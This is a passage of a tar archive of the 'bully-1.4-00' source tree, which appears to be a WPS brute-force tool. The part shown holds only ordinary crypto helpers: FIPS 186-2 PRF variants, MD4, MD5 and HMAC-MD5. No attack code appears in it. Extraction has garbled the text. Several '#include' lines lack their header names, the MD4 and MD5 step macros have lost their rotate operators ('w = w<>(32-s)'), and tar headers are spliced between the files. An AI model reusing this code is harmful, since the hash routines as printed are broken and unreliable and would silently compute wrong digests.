* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include "common.h"
#include "crypto.h"
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
{
/* FIX: how to do this with libgcrypt? */
return -1;
}
bully-1.4-00/src/crypto/fips_prf_internal.c 0000775 0000000 0000000 00000003107 13615304636 0020714 0 ustar 00root root 0000000 0000000 /*
* FIPS 186-2 PRF for internal crypto implementation
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "sha1.h"
#include "sha1_i.h"
#include "crypto.h"
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
{
u8 xkey[64];
u32 t[5], _t[5];
int i, j, m, k;
u8 *xpos = x;
u32 carry;
if (seed_len > sizeof(xkey))
seed_len = sizeof(xkey);
/* FIPS 186-2 + change notice 1 */
os_memcpy(xkey, seed, seed_len);
os_memset(xkey + seed_len, 0, 64 - seed_len);
t[0] = 0x67452301;
t[1] = 0xEFCDAB89;
t[2] = 0x98BADCFE;
t[3] = 0x10325476;
t[4] = 0xC3D2E1F0;
m = xlen / 40;
for (j = 0; j < m; j++) {
/* XSEED_j = 0 */
for (i = 0; i < 2; i++) {
/* XVAL = (XKEY + XSEED_j) mod 2^b */
/* w_i = G(t, XVAL) */
os_memcpy(_t, t, 20);
SHA1Transform(_t, xkey);
_t[0] = host_to_be32(_t[0]);
_t[1] = host_to_be32(_t[1]);
_t[2] = host_to_be32(_t[2]);
_t[3] = host_to_be32(_t[3]);
_t[4] = host_to_be32(_t[4]);
os_memcpy(xpos, _t, 20);
/* XKEY = (1 + XKEY + w_i) mod 2^b */
carry = 1;
for (k = 19; k >= 0; k--) {
carry += xkey[k] + xpos[k];
xkey[k] = carry & 0xff;
carry >>= 8;
}
xpos += SHA1_MAC_LEN;
}
/* x_j = w_0|w_1 */
}
return 0;
}
bully-1.4-00/src/crypto/fips_prf_nss.c 0000775 0000000 0000000 00000001110 13615304636 0017673 0 ustar 00root root 0000000 0000000 /*
* FIPS 186-2 PRF for NSS
* Copyright (c) 2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include "common.h"
#include "crypto.h"
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
{
return -1;
}
bully-1.4-00/src/crypto/fips_prf_openssl.c 0000775 0000000 0000000 00000003415 13615304636 0020565 0 ustar 00root root 0000000 0000000 /*
* FIPS 186-2 PRF for libcrypto
* Copyright (c) 2004-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include "common.h"
#include "crypto.h"
static void sha1_transform(u8 *state, const u8 data[64])
{
SHA_CTX context;
os_memset(&context, 0, sizeof(context));
os_memcpy(&context.h0, state, 5 * 4);
SHA1_Transform(&context, data);
os_memcpy(state, &context.h0, 5 * 4);
}
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
{
u8 xkey[64];
u32 t[5], _t[5];
int i, j, m, k;
u8 *xpos = x;
u32 carry;
if (seed_len > sizeof(xkey))
seed_len = sizeof(xkey);
/* FIPS 186-2 + change notice 1 */
os_memcpy(xkey, seed, seed_len);
os_memset(xkey + seed_len, 0, 64 - seed_len);
t[0] = 0x67452301;
t[1] = 0xEFCDAB89;
t[2] = 0x98BADCFE;
t[3] = 0x10325476;
t[4] = 0xC3D2E1F0;
m = xlen / 40;
for (j = 0; j < m; j++) {
/* XSEED_j = 0 */
for (i = 0; i < 2; i++) {
/* XVAL = (XKEY + XSEED_j) mod 2^b */
/* w_i = G(t, XVAL) */
os_memcpy(_t, t, 20);
sha1_transform((u8 *) _t, xkey);
_t[0] = host_to_be32(_t[0]);
_t[1] = host_to_be32(_t[1]);
_t[2] = host_to_be32(_t[2]);
_t[3] = host_to_be32(_t[3]);
_t[4] = host_to_be32(_t[4]);
os_memcpy(xpos, _t, 20);
/* XKEY = (1 + XKEY + w_i) mod 2^b */
carry = 1;
for (k = 19; k >= 0; k--) {
carry += xkey[k] + xpos[k];
xkey[k] = carry & 0xff;
carry >>= 8;
}
xpos += 20;
}
/* x_j = w_0|w_1 */
}
return 0;
}
bully-1.4-00/src/crypto/md4-internal.c 0000775 0000000 0000000 00000020126 13615304636 0017506 0 ustar 00root root 0000000 0000000 /*
* MD4 hash implementation
* Copyright (c) 2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
#define MD4_BLOCK_LENGTH 64
#define MD4_DIGEST_LENGTH 16
typedef struct MD4Context {
u32 state[4]; /* state */
u64 count; /* number of bits, mod 2^64 */
u8 buffer[MD4_BLOCK_LENGTH]; /* input buffer */
} MD4_CTX;
static void MD4Init(MD4_CTX *ctx);
static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len);
static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx);
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
MD4_CTX ctx;
size_t i;
MD4Init(&ctx);
for (i = 0; i < num_elem; i++)
MD4Update(&ctx, addr[i], len[i]);
MD4Final(mac, &ctx);
return 0;
}
/* ===== start - public domain MD4 implementation ===== */
/* $OpenBSD: md4.c,v 1.7 2005/08/08 08:05:35 espie Exp $ */
/*
* This code implements the MD4 message-digest algorithm.
* The algorithm is due to Ron Rivest. This code was
* written by Colin Plumb in 1993, no copyright is claimed.
* This code is in the public domain; do with it what you wish.
* Todd C. Miller modified the MD5 code to do MD4 based on RFC 1186.
*
* Equivalent code is available from RSA Data Security, Inc.
* This code has been tested against that, and is equivalent,
* except that you don't need to include two pages of legalese
* with every copy.
*
* To compute the message digest of a chunk of bytes, declare an
* MD4Context structure, pass it to MD4Init, call MD4Update as
* needed on buffers full of bytes, and then call MD4Final, which
* will fill a supplied 16-byte array with the digest.
*/
#define MD4_DIGEST_STRING_LENGTH (MD4_DIGEST_LENGTH * 2 + 1)
static void
MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]);
#define PUT_64BIT_LE(cp, value) do { \
(cp)[7] = (value) >> 56; \
(cp)[6] = (value) >> 48; \
(cp)[5] = (value) >> 40; \
(cp)[4] = (value) >> 32; \
(cp)[3] = (value) >> 24; \
(cp)[2] = (value) >> 16; \
(cp)[1] = (value) >> 8; \
(cp)[0] = (value); } while (0)
#define PUT_32BIT_LE(cp, value) do { \
(cp)[3] = (value) >> 24; \
(cp)[2] = (value) >> 16; \
(cp)[1] = (value) >> 8; \
(cp)[0] = (value); } while (0)
static u8 PADDING[MD4_BLOCK_LENGTH] = {
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
/*
* Start MD4 accumulation.
* Set bit count to 0 and buffer to mysterious initialization constants.
*/
static void MD4Init(MD4_CTX *ctx)
{
ctx->count = 0;
ctx->state[0] = 0x67452301;
ctx->state[1] = 0xefcdab89;
ctx->state[2] = 0x98badcfe;
ctx->state[3] = 0x10325476;
}
/*
* Update context to reflect the concatenation of another buffer full
* of bytes.
*/
static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len)
{
size_t have, need;
/* Check how many bytes we already have and how many more we need. */
have = (size_t)((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1));
need = MD4_BLOCK_LENGTH - have;
/* Update bitcount */
ctx->count += (u64)len << 3;
if (len >= need) {
if (have != 0) {
os_memcpy(ctx->buffer + have, input, need);
MD4Transform(ctx->state, ctx->buffer);
input += need;
len -= need;
have = 0;
}
/* Process data in MD4_BLOCK_LENGTH-byte chunks. */
while (len >= MD4_BLOCK_LENGTH) {
MD4Transform(ctx->state, input);
input += MD4_BLOCK_LENGTH;
len -= MD4_BLOCK_LENGTH;
}
}
/* Handle any remaining bytes of data. */
if (len != 0)
os_memcpy(ctx->buffer + have, input, len);
}
/*
* Pad pad to 64-byte boundary with the bit pattern
* 1 0* (64-bit count of bits processed, MSB-first)
*/
static void MD4Pad(MD4_CTX *ctx)
{
u8 count[8];
size_t padlen;
/* Convert count to 8 bytes in little endian order. */
PUT_64BIT_LE(count, ctx->count);
/* Pad out to 56 mod 64. */
padlen = MD4_BLOCK_LENGTH -
((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1));
if (padlen < 1 + 8)
padlen += MD4_BLOCK_LENGTH;
MD4Update(ctx, PADDING, padlen - 8); /* padlen - 8 <= 64 */
MD4Update(ctx, count, 8);
}
/*
* Final wrapup--call MD4Pad, fill in digest and zero out ctx.
*/
static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx)
{
int i;
MD4Pad(ctx);
if (digest != NULL) {
for (i = 0; i < 4; i++)
PUT_32BIT_LE(digest + i * 4, ctx->state[i]);
os_memset(ctx, 0, sizeof(*ctx));
}
}
/* The three core functions - F1 is optimized somewhat */
/* #define F1(x, y, z) (x & y | ~x & z) */
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) ((x & y) | (x & z) | (y & z))
#define F3(x, y, z) (x ^ y ^ z)
/* This is the central step in the MD4 algorithm. */
#define MD4STEP(f, w, x, y, z, data, s) \
( w += f(x, y, z) + data, w = w<>(32-s) )
/*
* The core of the MD4 algorithm, this alters an existing MD4 hash to
* reflect the addition of 16 longwords of new data. MD4Update blocks
* the data and converts bytes into longwords for this routine.
*/
static void
MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH])
{
u32 a, b, c, d, in[MD4_BLOCK_LENGTH / 4];
#if BYTE_ORDER == LITTLE_ENDIAN
os_memcpy(in, block, sizeof(in));
#else
for (a = 0; a < MD4_BLOCK_LENGTH / 4; a++) {
in[a] = (u32)(
(u32)(block[a * 4 + 0]) |
(u32)(block[a * 4 + 1]) << 8 |
(u32)(block[a * 4 + 2]) << 16 |
(u32)(block[a * 4 + 3]) << 24);
}
#endif
a = state[0];
b = state[1];
c = state[2];
d = state[3];
MD4STEP(F1, a, b, c, d, in[ 0], 3);
MD4STEP(F1, d, a, b, c, in[ 1], 7);
MD4STEP(F1, c, d, a, b, in[ 2], 11);
MD4STEP(F1, b, c, d, a, in[ 3], 19);
MD4STEP(F1, a, b, c, d, in[ 4], 3);
MD4STEP(F1, d, a, b, c, in[ 5], 7);
MD4STEP(F1, c, d, a, b, in[ 6], 11);
MD4STEP(F1, b, c, d, a, in[ 7], 19);
MD4STEP(F1, a, b, c, d, in[ 8], 3);
MD4STEP(F1, d, a, b, c, in[ 9], 7);
MD4STEP(F1, c, d, a, b, in[10], 11);
MD4STEP(F1, b, c, d, a, in[11], 19);
MD4STEP(F1, a, b, c, d, in[12], 3);
MD4STEP(F1, d, a, b, c, in[13], 7);
MD4STEP(F1, c, d, a, b, in[14], 11);
MD4STEP(F1, b, c, d, a, in[15], 19);
MD4STEP(F2, a, b, c, d, in[ 0] + 0x5a827999, 3);
MD4STEP(F2, d, a, b, c, in[ 4] + 0x5a827999, 5);
MD4STEP(F2, c, d, a, b, in[ 8] + 0x5a827999, 9);
MD4STEP(F2, b, c, d, a, in[12] + 0x5a827999, 13);
MD4STEP(F2, a, b, c, d, in[ 1] + 0x5a827999, 3);
MD4STEP(F2, d, a, b, c, in[ 5] + 0x5a827999, 5);
MD4STEP(F2, c, d, a, b, in[ 9] + 0x5a827999, 9);
MD4STEP(F2, b, c, d, a, in[13] + 0x5a827999, 13);
MD4STEP(F2, a, b, c, d, in[ 2] + 0x5a827999, 3);
MD4STEP(F2, d, a, b, c, in[ 6] + 0x5a827999, 5);
MD4STEP(F2, c, d, a, b, in[10] + 0x5a827999, 9);
MD4STEP(F2, b, c, d, a, in[14] + 0x5a827999, 13);
MD4STEP(F2, a, b, c, d, in[ 3] + 0x5a827999, 3);
MD4STEP(F2, d, a, b, c, in[ 7] + 0x5a827999, 5);
MD4STEP(F2, c, d, a, b, in[11] + 0x5a827999, 9);
MD4STEP(F2, b, c, d, a, in[15] + 0x5a827999, 13);
MD4STEP(F3, a, b, c, d, in[ 0] + 0x6ed9eba1, 3);
MD4STEP(F3, d, a, b, c, in[ 8] + 0x6ed9eba1, 9);
MD4STEP(F3, c, d, a, b, in[ 4] + 0x6ed9eba1, 11);
MD4STEP(F3, b, c, d, a, in[12] + 0x6ed9eba1, 15);
MD4STEP(F3, a, b, c, d, in[ 2] + 0x6ed9eba1, 3);
MD4STEP(F3, d, a, b, c, in[10] + 0x6ed9eba1, 9);
MD4STEP(F3, c, d, a, b, in[ 6] + 0x6ed9eba1, 11);
MD4STEP(F3, b, c, d, a, in[14] + 0x6ed9eba1, 15);
MD4STEP(F3, a, b, c, d, in[ 1] + 0x6ed9eba1, 3);
MD4STEP(F3, d, a, b, c, in[ 9] + 0x6ed9eba1, 9);
MD4STEP(F3, c, d, a, b, in[ 5] + 0x6ed9eba1, 11);
MD4STEP(F3, b, c, d, a, in[13] + 0x6ed9eba1, 15);
MD4STEP(F3, a, b, c, d, in[ 3] + 0x6ed9eba1, 3);
MD4STEP(F3, d, a, b, c, in[11] + 0x6ed9eba1, 9);
MD4STEP(F3, c, d, a, b, in[ 7] + 0x6ed9eba1, 11);
MD4STEP(F3, b, c, d, a, in[15] + 0x6ed9eba1, 15);
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
}
/* ===== end - public domain MD4 implementation ===== */
bully-1.4-00/src/crypto/md5-internal.c 0000775 0000000 0000000 00000021647 13615304636 0017520 0 ustar 00root root 0000000 0000000 /*
* MD5 hash implementation and interface functions
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "md5.h"
#include "md5_i.h"
#include "crypto.h"
static void MD5Transform(u32 buf[4], u32 const in[16]);
typedef struct MD5Context MD5_CTX;
/**
* md5_vector - MD5 hash for data vector
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash
* Returns: 0 on success, -1 of failure
*/
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
MD5_CTX ctx;
size_t i;
MD5Init(&ctx);
for (i = 0; i < num_elem; i++)
MD5Update(&ctx, addr[i], len[i]);
MD5Final(mac, &ctx);
return 0;
}
/* ===== start - public domain MD5 implementation ===== */
/*
* This code implements the MD5 message-digest algorithm.
* The algorithm is due to Ron Rivest. This code was
* written by Colin Plumb in 1993, no copyright is claimed.
* This code is in the public domain; do with it what you wish.
*
* Equivalent code is available from RSA Data Security, Inc.
* This code has been tested against that, and is equivalent,
* except that you don't need to include two pages of legalese
* with every copy.
*
* To compute the message digest of a chunk of bytes, declare an
* MD5Context structure, pass it to MD5Init, call MD5Update as
* needed on buffers full of bytes, and then call MD5Final, which
* will fill a supplied 16-byte array with the digest.
*/
#ifndef WORDS_BIGENDIAN
#define byteReverse(buf, len) /* Nothing */
#else
/*
* Note: this code is harmless on little-endian machines.
*/
static void byteReverse(unsigned char *buf, unsigned longs)
{
u32 t;
do {
t = (u32) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
((unsigned) buf[1] << 8 | buf[0]);
*(u32 *) buf = t;
buf += 4;
} while (--longs);
}
#endif
/*
* Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
* initialization constants.
*/
void MD5Init(struct MD5Context *ctx)
{
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;
ctx->bits[0] = 0;
ctx->bits[1] = 0;
}
/*
* Update context to reflect the concatenation of another buffer full
* of bytes.
*/
void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len)
{
u32 t;
/* Update bitcount */
t = ctx->bits[0];
if ((ctx->bits[0] = t + ((u32) len << 3)) < t)
ctx->bits[1]++; /* Carry from low to high */
ctx->bits[1] += len >> 29;
t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */
/* Handle any leading odd-sized chunks */
if (t) {
unsigned char *p = (unsigned char *) ctx->in + t;
t = 64 - t;
if (len < t) {
os_memcpy(p, buf, len);
return;
}
os_memcpy(p, buf, t);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (u32 *) ctx->in);
buf += t;
len -= t;
}
/* Process data in 64-byte chunks */
while (len >= 64) {
os_memcpy(ctx->in, buf, 64);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (u32 *) ctx->in);
buf += 64;
len -= 64;
}
/* Handle any remaining bytes of data. */
os_memcpy(ctx->in, buf, len);
}
/*
* Final wrapup - pad to 64-byte boundary with the bit pattern
* 1 0* (64-bit count of bits processed, MSB-first)
*/
void MD5Final(unsigned char digest[16], struct MD5Context *ctx)
{
unsigned count;
unsigned char *p;
/* Compute number of bytes mod 64 */
count = (ctx->bits[0] >> 3) & 0x3F;
/* Set the first char of padding to 0x80. This is safe since there is
always at least one byte free */
p = ctx->in + count;
*p++ = 0x80;
/* Bytes of padding needed to make 64 bytes */
count = 64 - 1 - count;
/* Pad out to 56 mod 64 */
if (count < 8) {
/* Two lots of padding: Pad the first block to 64 bytes */
os_memset(p, 0, count);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (u32 *) ctx->in);
/* Now fill the next block with 56 bytes */
os_memset(ctx->in, 0, 56);
} else {
/* Pad block to 56 bytes */
os_memset(p, 0, count - 8);
}
byteReverse(ctx->in, 14);
/* Append length in bits and transform */
((u32 *) ctx->in)[14] = ctx->bits[0];
((u32 *) ctx->in)[15] = ctx->bits[1];
MD5Transform(ctx->buf, (u32 *) ctx->in);
byteReverse((unsigned char *) ctx->buf, 4);
os_memcpy(digest, ctx->buf, 16);
os_memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */
}
/* The four core functions - F1 is optimized somewhat */
/* #define F1(x, y, z) (x & y | ~x & z) */
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))
/* This is the central step in the MD5 algorithm. */
#define MD5STEP(f, w, x, y, z, data, s) \
( w += f(x, y, z) + data, w = w<>(32-s), w += x )
/*
* The core of the MD5 algorithm, this alters an existing MD5 hash to
* reflect the addition of 16 longwords of new data. MD5Update blocks
* the data and converts bytes into longwords for this routine.
*/
static void MD5Transform(u32 buf[4], u32 const in[16])
{
register u32 a, b, c, d;
a = buf[0];
b = buf[1];
c = buf[2];
d = buf[3];
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}
/* ===== end - public domain MD5 implementation ===== */
bully-1.4-00/src/crypto/md5-non-fips.c 0000775 0000000 0000000 00000005666 13615304636 0017440 0 ustar 00root root 0000000 0000000 /*
* MD5 hash implementation and interface functions (non-FIPS allowed cases)
* Copyright (c) 2003-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "md5.h"
#include "crypto.h"
/**
* hmac_md5_vector_non_fips_allow - HMAC-MD5 over data vector (RFC 2104)
* @key: Key for HMAC operations
* @key_len: Length of the key in bytes
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash (16 bytes)
* Returns: 0 on success, -1 on failure
*/
int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len,
size_t num_elem, const u8 *addr[],
const size_t *len, u8 *mac)
{
u8 k_pad[64]; /* padding - key XORd with ipad/opad */
u8 tk[16];
const u8 *_addr[6];
size_t i, _len[6];
if (num_elem > 5) {
/*
* Fixed limit on the number of fragments to avoid having to
* allocate memory (which could fail).
*/
return -1;
}
/* if key is longer than 64 bytes reset it to key = MD5(key) */
if (key_len > 64) {
if (md5_vector_non_fips_allow(1, &key, &key_len, tk))
return -1;
key = tk;
key_len = 16;
}
/* the HMAC_MD5 transform looks like:
*
* MD5(K XOR opad, MD5(K XOR ipad, text))
*
* where K is an n byte key
* ipad is the byte 0x36 repeated 64 times
* opad is the byte 0x5c repeated 64 times
* and text is the data being protected */
/* start out by storing key in ipad */
os_memset(k_pad, 0, sizeof(k_pad));
os_memcpy(k_pad, key, key_len);
/* XOR key with ipad values */
for (i = 0; i < 64; i++)
k_pad[i] ^= 0x36;
/* perform inner MD5 */
_addr[0] = k_pad;
_len[0] = 64;
for (i = 0; i < num_elem; i++) {
_addr[i + 1] = addr[i];
_len[i + 1] = len[i];
}
if (md5_vector_non_fips_allow(1 + num_elem, _addr, _len, mac))
return -1;
os_memset(k_pad, 0, sizeof(k_pad));
os_memcpy(k_pad, key, key_len);
/* XOR key with opad values */
for (i = 0; i < 64; i++)
k_pad[i] ^= 0x5c;
/* perform outer MD5 */
_addr[0] = k_pad;
_len[0] = 64;
_addr[1] = mac;
_len[1] = MD5_MAC_LEN;
return md5_vector_non_fips_allow(2, _addr, _len, mac);
}
/**
* hmac_md5_non_fips_allow - HMAC-MD5 over data buffer (RFC 2104)
* @key: Key for HMAC operations
* @key_len: Length of the key in bytes
* @data: Pointers to the data area
* @data_len: Length of the data area
* @mac: Buffer for the hash (16 bytes)
* Returns: 0 on success, -1 on failure
*/
int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data,
size_t data_len, u8 *mac)
{
return hmac_md5_vector_non_fips_allow(key, key_len, 1, &data,
&data_len, mac);
}
bully-1.4-00/src/crypto/md5.c 0000775 0000000 0000000 00000005422 13615304636 0015677 0 ustar 00root root 0000000 0000000 /*
* MD5 hash implementation and interface functions
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "md5.h"
#include "crypto.h"
/**
* hmac_md5_vector - HMAC-MD5 over data vector (RFC 2104)
* @key: Key for HMAC operations
* @key_len: Length of the key in bytes
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash (16 bytes)
* Returns: 0 on success, -1 on failure
*/
int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
u8 k_pad[64]; /* padding - key XORd with ipad/opad */
u8 tk[16];
const u8 *_addr[6];
size_t i, _len[6];
if (num_elem > 5) {
/*
* Fixed limit on the number of fragments to avoid having to
* allocate memory (which could fail).
*/
return -1;
}
/* if key is longer than 64 bytes reset it to key = MD5(key) */
if (key_len > 64) {
if (md5_vector(1, &key, &key_len, tk))
return -1;
key = tk;
key_len = 16;
}
/* the HMAC_MD5 transform looks like:
*
* MD5(K XOR opad, MD5(K XOR ipad, text))
*
* where K is an n byte key
* ipad is the byte 0x36 repeated 64 times
* opad is the byte 0x5c repeated 64 times
* and text is the data being protected */
/* start out by storing key in ipad */
os_memset(k_pad, 0, sizeof(k_pad));
os_memcpy(k_pad, key, key_len);
/* XOR key with ipad values */
for (i = 0; i < 64; i++)
k_pad[i] ^= 0x36;
/* perform inner MD5 */
_addr[0] = k_pad;
_len[0] = 64;
for (i = 0; i < num_elem; i++) {
_addr[i + 1] = addr[i];
_len[i + 1] = len[i];
}
if (md5_vector(1 + num_elem, _addr, _len, mac))
return -1;
os_memset(k_pad, 0, sizeof(k_pad));
os_memcpy(k_pad, key, key_len);
/* XOR key with opad values */
for (i = 0; i < 64; i++)
k_pad[i] ^= 0x5c;
/* perform outer MD5 */
_addr[0] = k_pad;
_len[0] = 64;
_addr[1] = mac;
_len[1] = MD5_MAC_LEN;
return md5_vector(2, _addr, _len, mac);
}
/**
* hmac_md5 - HMAC-MD5 over data buffer (RFC 2104)
* @key: Key for HMAC operations
